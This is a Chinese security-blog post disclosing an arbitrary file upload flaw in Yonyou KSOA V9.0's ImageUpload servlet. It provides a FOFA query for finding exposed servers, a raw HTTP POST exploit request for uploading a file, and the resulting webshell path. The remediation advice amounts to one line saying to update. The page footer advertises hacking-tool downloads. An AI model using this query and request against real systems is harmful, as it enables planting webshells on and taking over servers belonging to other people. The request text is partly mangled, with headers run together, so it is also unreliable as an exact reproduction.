正文

叮～你有新的速递！某友文件上传漏洞（附EXP）

admin
admin V管理员 /0 评论 /213 阅读
1109
此篇文章发布距今已超过349天，您需要注意文章的内容或图片是否可用！

0x01 前言

用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业前沿的IT需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话。用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。

0x02 影响版本

用友 KSOA V9.0

0x03 漏洞复现

FOFA空间搜索引擎语句

app="用友-时空KSOA"

登录页面是这个酱紫

EXP：

POST /servlet/com.sksoft.bill.ImageUpload?filename={{文件名随便起}}&filepath=/ HTTP/1.1Host:ip:portaccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=D7B9314CC6B287CBD4D4F700211212E3Connection: closeContent-Length: 71234567

Webshell地址：

http://ip/pictures/{{文件名随便起}}

0x04 修复方案

建议及时更新至最新版本


推荐站内搜索：最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
宙飒天下网